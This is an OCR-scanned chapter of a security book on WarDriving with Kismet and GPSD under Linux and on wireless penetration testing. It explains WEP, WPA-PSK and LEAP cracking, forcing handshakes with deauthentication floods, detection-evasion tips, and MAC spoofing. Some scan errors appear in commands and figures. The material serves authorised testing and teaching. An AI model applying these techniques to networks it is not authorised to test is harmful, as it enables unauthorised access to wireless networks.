as a WarDriving and wireless network discovery tool. We also looked at the
AirCrack-ng software package that allows you to collect packets and attempt to
break the encryption of a wireless network, and Network View, which allows you to
perform a network scan in s a graphical manner.
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Solutions Fast Track

WarDriving with Windows and NetStumbler

M NetStumbler is the application for WarDrivers who use Microsoft
Windows.

M NetStumbler is a detector and analysis tool for 802.11a, 802.11b, and
802.11g wireless networks.

Wireless Penetration Testing with Windows

M AirCrack-ng has a Windows version that allows for packet capturing.

M AirCrack-ng performs WEP encryption cracking and decodes weak WPA-
PSK keys.

M Network discovery can be accomplished with a graphical interface using
programs such as Network View.

Frequently Asked Questions

The following Frequently Asked Questions, answered by the authors of this book,
are designed to both measure your understanding of the concepts presented in
this chapter and to assist you with real-life implementation of these concepts. To
have your questions about this chapter answered by the author, browse to
www.syngress.com/solutions and click on the “Ask the Author” form.

Q: I want to view my -MiniStumbler files on my laptop or desktop computer. Are
the .ns1 files produced by MiniStumbler the same and compatible with
NetStumbler?

A Yes. Simply copy or move the files from the mobile device to your desktop or
laptop, and NetStumbler will read them without any modifications or conver-

sion.

Q: Should NetStumbler be run while my PC is connected to a wireless network?

A: No. NetStumbler is designed to find wireless networks. Because it generates
packets and requests, it may degrade the network performance by interrupting
valid network traffic.
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. Can I break WPA-Extensible Authentication Protocol (EAP) keys with
AirCrack-ng?

: No, at this time AirCrack-ng only supports breaking WEP keys and WPA-PSK
pass phrases.

. Is Network View the only tool for scanning a network using Windows?

: No.There are many other tools that will perform network discovery. Few of
them however, provide a graphic result.
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Introduction

Linux is the most robust operating system for WarDriving. Unlike Windows, Linux
offers the ability to place your wireless card in monitor (rfmon) mode, which allows
you to perform passive scanning to detect access points that are not broadcasting the
Service Set Identifier (SSID) beacon. These are commonly referred to as cloaked, or
hidden access points. This capability, along with the large amount of open source and
freeware wireless programs that have been developed for Linux, has helped make
Linux one of the most popular operating systems used by both WarDrivers and pen-
etration testers.

Preparing Your System to WarDrive

Before you can WarDrive using Linux, you need to ensure that your operating
system is properly configured to utilize the tools that are available. Specifically, you
need a kernel that supports monitor mode and your specific Wireless Local Area
Network (WLAN) card. After kernel configuration is complete, you need to install
the proper WarDriving tools and tailor their configurations to your preferences.

Preparing the Kernel

Configuring Linux to WarDrive used to be a very difficult process that involved
both kernel configuration and driver patching. That is no longer the case. As of the
2.6.16 kernel revision, it is possible to build a Linux kernel with all of the support
you need compiled into it. Depending on your personal preference, this can be done
by either compiling support directly into the kernel or by building the appropriate
kernel modules.

Preparing the Kernel for Monitor Mode

There are several ways to generate a new kernel configuration, the easiest of which
is probably using the menuconfig option.
# cd /usr/src/linux
# make menuconfig

Once the menu configuration opens, enable Generic IEEE 802.11 Networking
Stack, IEEE 802.11 Wireless Encryption Protocol (WEP) encryption (802.1x), IEEE
802.111 Counter-Mode/CBC-Mac Protocol (CCMP) support, and IEEE 802.111
Temporal Key Integrity Protocol (TKIP) encryption:
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Networking --->
--- Networking support
Networking options --->

<*> Generic IEEE 802.11 Networking Stack

<*> IEEE 802.11 WEP encryption (802.1x)
<*> IEEE 802.11i CCMP support
<*> IEEE 802.11i TKIP encryption

The 802.111 CCMP and TKIP support are not necessary for monitor mode;
however, they are required for penetration testing of WiFi Protected Access (WPA)-
encrypted networks.

Next, you need to configure your kernel to support your Wireless Fidelity
(WiFi) card. Regardless of your type of card, you need the following options:

Device Drivers --->
Network device support --->
[*] Network device support
Wireless LAN (non-hamradio) -—->

[*] Wireless LAN drivers (non-hamradio) & Wireless Extensions

Next you need to compile in support for your specific card(s). First you need to
decide if you want to compile your drivers into the kernel or install them as kernel
modules. In many cases, this is a personal choice. For the purpose of this book, we’ll
compile the drivers as modules. Two of the most popular cards for WarDriving are
the Hermes chipset-based Orinoco Gold Classic card and the Prism 2.5-based Senao
NL 2511 EXT 2.

Adding support for these cards is simply a matter of telling the kernel to compile
the module:

Device Drivers --->
Network device support --->
Wireless LAN (non-hamradio) -——->

<M> Hermes chipset 802.11b support (Orinoco/Prism2/Symbol)

<M> IEEE 802.11 for Host AP (Prism2/2.5.3 and WEP/TKIP/CCMP)

[] Support downloading firmware images with Host AP driver
<M> Host AP driver for Prism2/2.5/3 in PLX9052 PCI adaptors
<M> Host AP driver for Prism2.5 PCI adaptors
<M> Host AP driver for Prism2/2.5/3 PC Cards

Compiling modules for all three of these gives you the ability to use both
Personal Computer Memory Card International Association (PCMCIA)-based

121

www.syngress.com



122 Chapter 5 * WarDriving and Penetration Testing with Linux

Prism?2 cards and Mini Peripheral Component Interface (PCI) cards. This can be
useful when performing penetration testing tasks that require two cards.

NoTEe

The Hermes driver also has support for Prism2 cards. If you plan to use
the Host access point drivers (which you will for many penetration
testing tasks) you should not compile in both Hermes support and Host
access point support. The Hermes driver will generally load first; conse-
quently, you will have to unload it and manually modprobe the Host

access point drivers.

Once you have selected all of the modules you need to compile, you are ready
to make your kernel. Exit out of the menuconfig and choose < Yes > when prompted

to save your new kernel configuration (see Figure 5.1).

Figure 5.1 Saving the Kernel Configuration

= roamer@submit:~
File Edit Wiew Terminal Tabs Help
Linux Kernel v2.6.16-gentoo-r12 Configuration

Do you wish to save your new kernel configuration?

- -JIT

[=)la)x]

Next, compile the new kernel and the selected modules:

# make && make modules_install
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Now copy the bzImage to vmlinuz in your boot partition:

# cp arch/i386/boot/bzImage /boot/linux/vmlinuz

If you use Grub for your bootloader, you do not need to make any configura-
tion changes. If you use LILO, you need to rerun /sbin/lilo to update the bootloader
configuration.

Issuing the Ismod command allows you to verify that the proper drivers were
loaded at boot (see Figure 5.2).

Figure 5.2 Host ACCESS POINT Drivers for a Mini-PCI Senao Card
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nd_seq_device, snd_intelsxo,snd_ac97_codec,snd_pem,snd_timer
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At this point, all of the drivers and kernel options you need are installed to run a
WLAN scanning program in monitor mode.

Preparing the Kernel for a Global Positioning System

Discovering WLANS is a lot of fun if you can generate maps of your drives. In order
to do that, you need to prepare your kernel to work with a Global Positioning
System (GPS). Most GPS units come with a serial data cable; however, you can now
purchase a unit that has a Universal Serial Bus (USB) cable. If you need to use a
USB serial converter, you have to have support for your converter in the kernel.

123

www.syngress.com



124

Chapter 5 * WarDriving and Penetration Testing with Linux

Go to the /usr/src/linux directory and issue the make menuconfig command. Then
select the appropriate driver for your USB serial converter:

Device Drivers --->
USB support --->
USB Serial Converter support --->

<*> USB Serial Converter support
[*] USB Generic Serial Driver

<*> USB Prolific 2303 Single Port Serial Driver

The Prolific 2303 driver is a very common USB serial converter driver. You will
need to ensure that you have compiled in support for your specific converter.

Next, exit out of the menuconfig, save your kernel configuration, compile your
new kernel, move or copy the bzImage to your boot partition, and, if necessary,
update your bootloader. After rebooting, insert your USB serial adapter. The system
dmesg will show if the kernel correctly recognized your converter (see Figure 5.3).

NoTE

When you execute make menuconfig, it reads from the running kernel
or from the kernel configuration file for the current kernel. This configu-
ration has all of the changes that were previously made, therefore, they
do not need to be repeated.

Now you have all of the kernel support you need to both WarDrive and per-
form wireless penetration tests.

Installing the Proper Tools

Once you have generated a kernel to support monitor mode and have compiled the
proper drivers, you are ready to install the necessary tools to perform a WarDrive.

There are two tools that you need to install in order to accomplish this: Kismet and
the Global Positioning System Daemon (GPSD) (www.pygps.org/gspd/downloads).

www.syngress.com



WarDriving and Penetration Testing with Linux ¢ Chapter 5 125

Figure 5.3 The Prolific USB Serial Converter
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retry_count=0 tx_rate=0 fc=0x4108 (Data::0 ToDS)

Al=00:13:10:1e:64:b2 A2=00:02:6f:06:6b:d3 A3=00:02:2d:5a:20:1c A4=00:00:00:00)
:00:00
wifi0: TXEXC - status=0x0004 ([Disconl]) tx_control=000c

retry_count=0 tx_rate=0 fc=0x4108 (Data::0 ToDS)

Al=00:13:10:1e:64:b2 A2=00:02:5f:06:6b:d3 A3=00:02:2d:5a:20:1c A4=00:00:00:00)
:00:00
wifi0: TXEXC - status=0x0004 ([Disconl) tx_control=000c

retry_count=0 tx_rate=0 fc=0x4108 (Data::0 ToDS)

Al=00:13:10:1e:64:b2 A2=00:02:6f:06:6b:d3 A3=00:02:2d:5a:20:1c A4=00:00:00:00
:00:00
wifiQ: TXEXC - status=0x0004 ([Disconl]) tx_control=000c

retry count=0 tx rate=0 fc=0x41038 (Data::0 ToDS)

A1=00:13:10:1e:64:b2 A2=00:02:6f:06:6b:d3 A3=00:02:2d:5a:20:1c A4=00:00:00:00)
:00:00
wifiQ: LinkStatus=l (Connected)
wifi@: LinkStatus: BSSID=00:13:10:1e:64:b2
Warning: Processor Platform Limit event detected, but not handled.
Consider compiling CPUfreq support into your kernel.

>: new full ed LS vice using uhci_hed and addre
nfi g 1 from 1 choi

Installing Kismet

Kismet installation is a very straightforward process. Simply download the latest
release of Kismet from www.kismetwireless.net/download.shtml and save it in a
directory of your choice. (Older versions of Kismet can be retrieved from
www.kismetwireless.net/code.) Uncompress and untar the file and then change to
the directory it created and issue the following commands:

# ./configure
# make

# make install

NoTE

These three commands are the standard way to configure and compile
Linux programs from source. For the remainder of this chapter and
unless otherwise noted, “compile the program” refers to these three
steps.
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This installs Kismet in the default directory (/usr/local/bin/kismet) and the Kismet

configuration files in (/usr/local/etc/kismet).

Notes from the Underground...

Compiling from Source or Packages

The compilation examples in this chapter show how to compile programs from
source by first obtaining the source from the developer’s Web site and then man-
ually compiling the program. This is only one way to compile and install pro-
grams. Most distributions have some sort of package management system that
can be used to either install programs, or obtain and install them. Red Hat and
Fedora use the Red Hat Package Manager (RPM) package management system;
Gentoo uses emerge; and Slackware packages are in .tgz format. Sometimes it is
beneficial to use your distribution’s package management system to install pro-
grams; however, it should be noted that when you use a package manager to
compile and install a program, it may place the binaries and configuration files
in non-standard directories. This chapter assumes that you have compiled from
source or that your package manager has placed the binaries and configuration
files in the standard locations. If your package manager did not do this, you can
search for the configuration files or binaries by using the find command:

# find / -name kismet.conf -print

This command searches the entire filesystem for the kismet.conf file and dis-
plays the results on the screen. The —print switch is rarely required on Linux sys-
tems; however, adding it doesn’t change the functionality of the command.

Installing GPSD

GPSD is a program that interfaces with your GPS unit, which in turn passes data to
Kismet to provide GPS coordinates of your location when an access point is discov-
ered. The installation of GPSD is slightly different from the normal Linux installation
procedure, because there is not a “make install” option. Issue the ./configure and make

commands, and then run either gpsd from the location where you compiled it, or
copy the gps and gpsd files to a directory in your path such as /usr/bin or
/usr/local /bin.
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Configuring Your System to WarDrive

Once you have compiled and installed Kismet and GPSD, you need to edit the
Kismet configuration files so that Kismet will function properly on your system.
Unless you (or your package manager) have changed the location, the configuration
tiles are put in /usr/local/etc. There are two files you need to edit: kismet.conf and
kismet_ui.conf.

The kismet_ui.conf file controls the user interface options of Kismet. For the most
part, you can leave these options at their default, unless you want to tweak the
appearance of the interface. Kismet does have a Welcome window that displays every
time you start Kismet (see Figure 5.4).

Figure 5.4 The Kismet Welcome Window
Z] roamer@submit:~ =)

File Edit Wiew Terminal Tabs Help

~Network List (Autofit) Info £
Name T W ch Packts Flags IP Range Ntwrks
Crawfett Home AY 011 4 0.0.0.0 10
! fred A Y 006 4 0.0.0.@ Pckets
! 05B402182171 A N 006 8 0.0.0.0 191
! default A N 006 13 F 192.168.0.1 Cryptd
1 linksys A N 006 aF 192.168.1.1 5
1}-Welcome to Kismet 1eak
!'| Kismet-Client 2006.04.R1 build 20050815211952 [¢]
! 1se
Welcome to the Kismet panels frontend. o]
Context help is available for all displays, press 'H' at any time |crd
for more information. 0

This message can be turned off by editing the kismet_ui.conf file.

Press =Space> to continue. lan
4
| Elapsd
00:00: 18"
Status

Connected to Kismet server version 2006.04.R1 build 20050815211952 on localh
Found new probed network "Acer Design" bssid 00:0D:93:F0:FC:02

—Battery: AC 100%

4]

To get rid of the Welcome window when Kismet starts, change the showintro
option to false:

# Do we show the intro window?

showintro=false

The kismet.conf file is where the important Kismet options are set. In order for
Kismet to function properly, this file must be edited to reflect your environment and
hardware. First, you need to edit the suiduser variable:
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# User to setid to (should be your normal user)

suiduser=roamer

Next you need to set your source variable. This is the option that tells Kismet
what type of driver and card you are using, as well as what interface your card is
configured on. The following example tells Kismet to use the Host access point
driver and that your card is configured as wlan0. The third option, wlan, can be set to
any value.

source=hostap,wlan0,wlan

Here are some of the more common source options for different cards and
drivers:

# Source line for Intel Pro Wireless 2100

source=ipw2100,eth0, ipw2100source

# Source line for wlan-ng Prism2 driver

source=prism2,wlan0,prism

# Source line for Cisco (dependent on Cisco driver used)
source=cisco,eth0,cisco

# Alternate Source line for Cisco (dependent on Cisco driver used)
source=cisco_cvs,ethl:wifi0, ciscocvs

# Source line for Hermes based cards (Orinoco)

source=orinoco, eth0, orinocosource

Unless you plan to enable multiple sources, you don’t need to change the enable-
sources variable, which is commented out unless it is changed.

By default, Kismet hops channels. This is what allows Kismet to detect access
points that are operating on the different channels in the 2.4 GHz range. Unless you
only want to detect access points on a specific channel, this should be left as is:

# Do we channelhop

channelhop=true

If you want to identify access points on a specific channel, disable channel hop-
ping and set the initial channel in your source variable. For instance, to identify
access points on channel 8 only:

source=hostap,wlan0O,wlan, 8

channelhop=false

The next option to tweak is the channel velocity. This controls how many chan-
nels Kismet should cycle through per second. By default, this is set to three channels
per second. This is an acceptable, if conservative, option. To increase the speed that
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Kismet hops channels, increase this number. To decrease the speed, decrease this
number:

# How many channels per second do we hop? (1-10)

# The following option scans each channel for 1/5 of a second
channelvelocity=5

# The following option scans each channel for ? of a second

channelvelocity=2

The options between channel hopping and the GPS configuration are set cor-
rectly by default and do not usually need to be edited. The GPS configuration
options should be set if you are using a GPS unit to capture report coordinates.
Unless you change the port, GPSD listens on port 2947; therefore, the kismet.conf
options for GPS should be set to reflect this:

# Do we have a GPS?
gps=true
# Host:port that GPSD is running on. This can be localhost OR remote!

gpshost=1localhost:2947

The next option you need to look at is the interval that the log files are written.
The default setting is to write the logs every 5 minutes. For a casual WarDrive, this is
probably acceptable; however, for professionals, it is a good idea to write the logs
regularly in case of a system or program crash (every minute is a safe option):

# How often (in seconds) do we write all our data files (0 to disable)

writeinterval=60

Kismet produces a very comprehensive set of log files as shown in Table 5.1.

Table 5.1 The Kismet Log Filetypes

Dump A raw packet dump that can be opened in Ethereal of other
packet analyzers.

Network A text file listing the networks that have been detected.

csv A comma-separated listing of networks detected

XML An eXtensible Markup Language (XML) formatted log of

networks detected. This is useful for importing into other
applications.

Weak The weak Initialization Vector (IV) packets detected in
AirSnort format.

Continued
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www.syngress.com



130

Chapter 5 * WarDriving and Penetration Testing with Linux

Table 5.1 continued The Kismet Log Filetypes

Cisco A log of Cisco Discovery Protocol (CDP) broadcasts pro-
duced by Cisco equipment.
GPS The log of GPS coordinates of access points detected.

The logtypes variable tells Kismet which types of log files you want it to gen-
erate. The default options are acceptable (dump, network, csv, xml, weak, cisco, and gps);
however, you may not need all of these. The bare minimum that you should ensure
are generated are the dump, network and gps logs:

logtypes=dump, network, gps

The logdefault variable specifies what text should be prepended to the log file
name. Kismet writes the files in the format [logdefault]-[date|- [sequence-number]. [filetype].
For instance, if the logdefault is set to Roamer, then the gps log of the third WarDriving
session of the day would be named Roamer-Oct-14-2006-3.gps. This option can be
helpful for sorting results if you are WarDriving multiple areas in the same day:

# Default log title

logdefault=MyCustomer

The final option that you may want to change in the kismet.conf file is the logtem-
plate. This option controls both the location that the logs are created and stored in
and the format of the log files. If no changes are made to this variable, the logs will
be created in the default format, with the default title, in the directory that Kismet is
launched from. However, it can be beneficial to store all of your logs in one loca-
tion, or to store the different types of logs in different directories. There are seven
variables that can be set in relation to the logtemplate:

®m %n is the title set in logdefault

B %d is the current date in the format Month-Day-Year (Mon-DD-YYYY)
® %D is the current date in the format YYYYMMDD

® %t is the time that the log started

B %iis the increment number of the log (i.e., 1 for first log of the day, 2 for
second, and so forth)

B %l is the log type
®m % is the home directory
For example, if you wanted to have your logs generated in different directories

by filetype, and created in the WarDrives directory, you would have the following
logtemplate:
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logtemplate=WarDrives/%1/%n-%d-%1i

Assuming you set the logtypes variable to dump, network, and gps, you would
need to create the WarDrives directory with three sub-directories: dump, network, and
gps-

After you have made any changes, save the file and you are ready to WarDrive
with Kismet.

WarDriving with Linux and Kismet

There are a lot of reasons to use Kismet to WarDrive. The exceptional range of log
files you can generate make it very attractive. Unlike some other WarDriving soft-
ware, Kismet doesn’t just detect the access points, but also saves a complete log of all
of the packets it sees. These dumps can be opened with other packet analyzers and
can be fed into penetration test programs. Monitor mode allows you to identify
access points that are cloaked (not broadcast via the SSID). Additionally, since the
SSID is sent in cleartext when a client authenticates to the network, Kismet can
often determine the SSID of these cloaked networks.

Now that we have tweaked the Kismet configuration files to our liking, we are
ready to start WarDriving with Kismet. In this section, you will learn how to start
Kismet and how to use the Kismet interface once you have it running. We look at
the different options that Kismet provides and, how to use a graphical front end for
Kismet.

Starting Kismet

Starting Kismet is relatively simple. Assuming Kismet is in your path, type kismet at
the command line as shown in Figure 5.5.

The process ID file (pidfile) could not be set. This is because you don’t have per-
mission to write to /var/run. There are two ways to fix this. You can change the loca-
tion where the pidfile is written in the kismet.conf (see Figure 5.6):

# Where do we store the pid file of the server?

piddir=/home/roamer
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Figure 5.5 Starting Kismet...Something is Wrong Here

roamer@submit:~ E]@E]

File Edit Wiew Terminal Tabs Help

roamer@submt ~ ¢ kismet [+]
Server options: none

“lient options: none

Starting server...

Waiting for server to start before starting LUI...

Will drop privs to roamer (1001) gid 100

FATAL: Unable to set up pidfile /var/run//kismet_server.pid, unlink() failed: P'
ermission denied |
roamer@submt ~ ¢ |:|

Figure 5.6 Kismet Starts Successfully
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Changing the location of the pidfile is one option, but because you have already
set a suiduser in your kismet.conf, it is probably easier to just switch to the route user
using the su command and then run kismet. Root has permission to write the
pidfile, but after it has performed that action, Kismet drops the privilege down to the
suiduser, avoiding the potential security risks of running as root.

Using the Kismet Interface

In addition to its ability to identify access points, Kismet has a very powerful user
interface. You can find a large amount of information about each access point you
have identified by examining the Kismet options in the user interface. Obvious
information (e.g., the SSID) is available to you immediately, whether or not an
access point 1s encrypted. For a casual WarDrive, this may be all of the information
that you need. However, if you want to understand more about the networks you
have discovered, you need to be familiar with the different options available to you.

Understanding the Kismet Options

When using the different options with Kismet, you will need to change your sort
option first. By default, Kismet is in autofit sort mode. Unfortunately, in this mode you
can’t obtain a lot of information about the different access points beyond the infor-
mation displayed in the default view. To change the sort mode, press the s key to
bring up a menu of the sort options (see Figure 5.7).

Figure 5.7 Kismet Sort Options

[=] roamer@submit: ~ /wardrives/wdfpt E]@E]
File Edit Wiew Terminal Tabs Help
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1  Latest time seen L Latest time seen (descending)
b BSSID B BSSID (descending)
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p  Packet count P Packet count (descending)
0 Signal power level w  Wep
x  Cancel
4
-“Status
Cannot scroll in autofit sort mode. Sort by a different method.
Cannot scroll in autofit sort mode. Sort by a different method.
Cannot scroll in autofit sort mode. Sort by a different method.
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At this point, you have 14 different sort options to choose from. Choose the
option that best suits your needs. For instance, if you are only interested in access
points with a specific SSID, you would choose s to have the access points sorted by
SSID and then scroll down to the desired SSID.

Once you have chosen your sort method, you can start to find out additional
information about each network. Using the arrow keys, highlight the access point
you are interested in and press Enter to get the Network Details (see Figure 5.8).

Figure 5.8 Network Details

= roamer@submit: ~ /wardrives/wdfpt E]@E]
File Edit Wiew Terminal Tabs Help
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Beacon @ 25600 (26.214400 sec)
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‘Battery: 82% 2h2omSls - [+]

You now know the MAC address (Basic Service Set Identifier [BSSID]) of the
access point. Because the access point has a max rate of 54.0, you know that it is an
802.11g access point operating in infrastructure mode. Although the main screen said
that the network was using encryption, you can now identify WPA as the encryp-
tion mechanism in place. Once you are satisfied with the information, press the q
key to close the details and return to the main view.

You may want to know what clients are connected to a network. By high-
lighting the access point and pressing the ¢ key, you are presented with a list of any
clients associated with the network (see Figure 5.9).
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Figure 5.9 The Client List
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In client view, you can determine the MAC address of any clients associated
with the access point. Additionally, in some cases, you can determine what type of
card it 1s. The number of data packets that Kismet has seen and the number of those
packets that are encrypted are identified. Once Kismet determines the Internet
Protocol (IP) address of a specific client it is noted as well as the strength of the
signal. Again, when you are finished looking at the client list, press q to return to the
Network List.

There will be times where you are only interested in collecting information
about access points on a specific channel. To disable channel hopping and collect
data only on one channel, highlight an access point on that channel and press the
Shift+L key to lock on that channel.

To resume channel hopping, press Shift+H.

Kismet also has a robust help panel. If you are unsure of an option, press h to
display the Help menu (see Figure 5.11).
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Figure 5.10 Kismet Locked on Channel 6
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Figure 5.11 Kismet Help Interface

roamer@submit:~/wardrives/wdfpt Q@E}
File Edit View Terminal Tabs Help
—Network List— (Channel) —Info—[+]
) Name T W ch Packts Flags IP Range || Ntwrks |
|| KISMET PANELS INTERFACE
QUICK REFERENCE
Key Action
e List Kismet servers
z Toggle fullscreen zoom of network view
m  Toggle muting of sound and speech
t Tag (or untag) selected network
g  Group tagged networks
U Ungroup current group
¢ Show clients in current network
L Lock channel hopping to the current network channel
H Return to normal channel hopping
+/- Expand/collapse groups
~L  Force a screen redraw.
POPUP WINDCWS
b Help (Wwhat you're looking at now)
n Name current netwark
1 Detailed information about selected network
s Sort network list
1 Show wireless card power levels
d  Dump printable strings
r  Packet rate graph
a  Statistics
p  Dump packet type
f Follow network center
w  Track alerts
x  Close popup window
Q Quit
38% (+) Down—
—Battery: 69% 1lhS7ml2s =]

www.syngress.com




WarDriving and Penetration Testing with Linux ¢ Chapter 5

Using a Graphical Front End

In addition to the standard Kismet interface, you can also use a graphical front
end with Kismet. Gkismet (http://gkismet.sourceforge.net) is a front-end interface
that works with Kismet. Once you have downloaded, compiled, and installed
gkismet, you need to start the Kismet server:

# /usr/bin/kismet_ server

Next, start gkismet:

# /usr/bin/gkismet

This opens the gkismet interface and prompts for the kismet_server information
(see Figure 5.12). In most cases, you will be connecting to localhost (127.0.0.1) on
default port 2501.

Figure 5.12 Connecting to the Kismet Server

] Connect @

Host: [127.0.01

Part: 2501

<9 0K, | X Cancel I

Once you have entered your server information, gkismet connects to the Kismet
server and you receive a display of the access points Kismet has discovered (see
Figure 5.13).

There are several advantages to using a graphical front end. For instance, the card
power is displayed on the main screen. This can be very beneficial for direction
finding and walking down rogue access points. Additionally, you can easily examine
the information on each access point by double-clicking on the access point you
want information on (see Figure 5.14).
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Figure 5.13 Gkismet in Action
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Additionally, the sort options can be accessed by right-clicking on the SSID of
the access point and choosing how you want the information sorted.

Wireless Penetration Testing Using Linux

Linux is an excellent platform for performing wireless penetration testing. Open
source tools to perform almost every function are available. Kismet can be used for
WLAN discovery. There are a large number of tools to perform attacks against
encryption such as Aircrack for WEP, CowPatty for WPA, and AsLEAP for
Lightweight Extensible Authentication Protocol (LEAP). There are also a number of
tools available for packet collection (e.g., Wireshark).

A wireless penetration test can be broken down into three main phases:

1. WLAN discovery
2. Determining the WLAN encryption in use
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3. Attacking the network

Figure 5.14 Gkismet Detailed Information
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WLAN Discovery

One of the more challenging aspects of a wireless penetration test is the discovery
process. When penetration testing a wired network, you can find the target’s IP space
and attack over the Internet or, in the case of an internal test, simply plug in to the
wall jack. Wireless networks present a whole new set of challenges.

If you have the SSID of your target, the discovery phase is pretty simple. Drive
near the facility with a high-gain antenna until you have identified the network and
have a signal strong enough to make a connection. Because these targets are often in
an area with large populations of businesses (e.g., an office building or business park),
your specific target will not be the only WLAN in range. To further complicate things,
many organizations do not identify themselves in their SSID. When this is the case,
you need to use public source information to help you identify the correct WLAN.

WLAN Discovery Using Public Source Information

As with any penetration test, you need to do a lot of public source information
gathering. This can be accomplished by using a search engine. (See “Google
Hacking for Penetration Testers,” by Johnny Long, for more information on using
a search engine as part of a penetration test.) Additionally, the User’s Network
(USENET) newsgroups can provide a vast amount of information as can any
public records for your target organization. Finally, your target’s own public Web
site can provide a vast amount of information that can be beneficial to you.

Essentially, you need to compile a database of information about your target. Then
when you perform your discovery, you can match your results against that database.
For instance, suppose your target is located in an office park. When you drive the
perimeter, you discover ten WLANs with a strong enough signal to possibly be your
target organization, Roamer Engineering. The SSIDs of these networks are:

m  First Floor

m  Second Floor
m  Third Floor
m  Fourth Floor
m  Riker Home
®  Linksys-G

®  reactor

®m  Widmore
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®  DriveShaft

m  Hanso

At first glance, none of these networks appear to be your target organization. You
can probably eliminate the first through fourth floors from consideration, as they are
probably the public WLAN provided by the office park.You can also probably elimi-
nate Riker Home. In theory, youd like to eliminate Linksys-G, however, some com-
mercial organizations still deploy WLANSs in default configurations. This leaves
reactor, Widmore, DriveShaft, and Hanso. Since none of these are immediately iden-
tifiable as Roamer Engineering, you need to look at your database of information
gathered during public source gathering. If you are diligent in collecting information
on your target, you will often find the key to determining the SSID of your target.

WLAN Encryption

There are four basic types of “encryption” that penetration testers should be familiar
with:

m WEP

m  WPA/WPA2)

m  Extensible Authentication Protocol (EAP)

m  Virtual Private Network (VPN)

Depending on the type of encryption in use, your attack methodology and the
tools required will vary.

Attacks

Although there are several different security mechanisms that can be deployed with
wireless networks, there are ways to attack many of them. Vulnerabilities associated
with WEP, WPA, and LEAP are well known. Although there are tools to automate
these attacks, in order to be a successful penetration tester, it is important to understand
not only the tools that perform these attacks, but also how the attacks actually work.

Attacks Against WEP

There are two difterent methods of attacking WEP-encrypted networks. One
method requires the collection of weak initialization vectors. The other requires col-
lection of unique initialization vectors. Regardless of the method used, a large
number of WEP-encrypted packets must be collected.
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Attacking WEP Using Weak Initialization Vectors (FMS Attacks)

EMS attacks (named after the first initial of the last name of Scott Fluhrer, Itsik
Mantin, and Adi Shamir) are based on a weakness in WEP’s implementation of the
R C4 encryption algorithm. Fluhrer, Mantin, and Shamir discovered that during
transmission, about 9,000 of the possible 16 million IVs could be considered “weak”
and that if enough of these weak IVs were collected, the encryption key could be
determined. In order to successfully crack the WEP key, at least 5 million encrypted
packets have to be collected. Sometimes an attack is successful with as few as 1,500
weak Vs, and sometimes it takes more than 5,000 before the crack is successful.

After weak IVs are collected, they are fed back into the Key Scheduling
Algorithm (KSA) and Pseudo Random Number Generator (PRNG) and the first
byte of the key is revealed. This process is then repeated for each additional byte
until the WEP key 1s cracked.

Attacking WEP Using Unique IVs (Chopping Attacks)

Relying on a collection of weak IVs is not the only way to crack WEP. Although
chopping attacks also rely on collecting a large number of encrypted packets, a
method of chopping the last byte off of the packet and manipulating it enables the
key to be determined by collecting unique IVs instead.

To successfully perform a chopping attack, the last byte from the WEP packet is
removed, effectively breaking the Cyclic Redundancy Check/Integrity Check Value
(CRC/ICV). If the last byte is zero, Exclusive Or (xor) a certain value with the last 4
bytes of the packet and the CRC will become valid again. This packet can then be
retransmitted to generate traffic and in turn IVs.

Attacks Against WPA

Unlike attacks against WEP, attacks against WPA do not require a large amount of
packets to be collected. In fact, most of the attack can be performed without even
being in range of the target access point. It is important to note that attacks against
WPA can only be successful when WPA is used with a Pre-Shared Key (PSK).

In order to successfully accomplish this attack against WPA-PSK, you have to
capture the four-way Extensible Authentication Protocol Over LAN (EAPOL)
handshake. You can wait for a legitimate authentication to capture this handshake, or
you can force an association by sending deauthentication packets to clients connected
to the access point. Upon reauthentication, the four-way EAPOL handshake is trans-
mitted and can be captured.
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NoTE

A deauthentication flood will probably alert any wireless Intrusion
Detection System (IDS) your target has in place. If you are performing an
announced test where stealth is not required, this probably isn't an
issue. On the other hand, if you are performing a Red Team penetration
test, you are less likely to be identified if you allow the EAPOL handshake
to occur naturally.

Once this has been captured, each dictionary word must be hashed with 4,096
iterations of the Hashed Message Authentication Code-Secure Hash Algorithm 1
(HMAC-SHAT1) and two nonce values, along with the Mandatory Access Control
(MAC) addresses of the supplicant and the authenticator. In order for this type of
attack to have a reasonable chance of success, the PSK (Passphrase) should be shorter
than 21 characters and the attacker should have an extensive wordlist at his or her
disposal. Some examples of good wordlists can be found at ftp.se.kde.org/pub/secu-
rity/tools/net/Openwall/wordlists/ and www.securitytribe.com/
~roamer/ WORDS. TXT.

Attacks Against LEAP

Cisco’s proprietary LEAP is a proprietary authentication protocol designed to
address many of the problems associated with wireless security. Unfortunately, LEAP
1s vulnerable to offline dictionary attacks similar to the attacks against WPA. LEAP
uses modified Microsoft Challenge Handshake Protocol version 2 (MS-CHAPvV2)
challenge and response that is sent across the network as cleartext. It is this weak-
nesses in MS-CHAPv2 that allows for offline dictionary attacks. MS-CHAPv2 does
not salt the hashes, uses weak Data Encryption Standard (DES) key selection for
challenge and response, and sends the username in cleartext. The third DES key in
this challenge/response is weak, containing five NULL values. Therefore, a wordlist
consisting of the dictionary word and the NT hash list must be generated. By cap-
turing the LEAP challenge and response, the last 2 bytes of the hash can be deter-
mined, and then the hashes can be compared by looking for the last two that are the
same. Once a generated response and a captured response are determined to be the
same, the user’s password has been compromised.
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Attacking the Network

Because there are so many vulnerabilities associated with wireless networks, there are
a lot of tools available to penetration testers for exploiting them. It is important for a
penetration tester to be familiar with the tools used to spoof MAC addresses, deau-
thenticate clients from the network, capture traftic, reinject traftic, and crack WEP or
WPA. The proper use of these skills will help an auditor perform an effective
WLAN penetration test.

MAC Address Spoofing

Whether MAC address filtering is used as an ineffective stand-alone security mecha-
nism, or in conjunction with encryption and other security mechanisms, penetration
testers need to be able to spoof MAC addresses. There are a lot of tools available to
automatically do this, such as SirMACsAlot (www.personalwireless.org/tools/
sirmacsalot).

Figure 5.15 shows the original MAC address before running SirMACsAlot.

Figure 5.15 Original MAC Address

[=] roamer@submit:~/wardrives/wdfpt E]@[E]
File Edit Wiew Terminal Tabs Help

submit SirMACsAlot # ifconfig wlano [+]
wlan0

59.1.163 Bcast:l9; Mask : 255.255.255.0
MTU: 1500 Metric:1
- 5:0 frame:0
s:0 carrier:0

RX packet
TX packet:
collision -
RX bytes:10464708 (9.9 Mb)
Interrupt:

submit SirMACsAlot # D ;

SirMACsAlot prompts you to provide your operating system, the interface, and
the new MAC you want to use. After providing these variables, SirMACsAlot
changes the MAC for you (see Figure 5.16).

Although automated tools such as SirMACsAlot are nice, they aren’t necessary

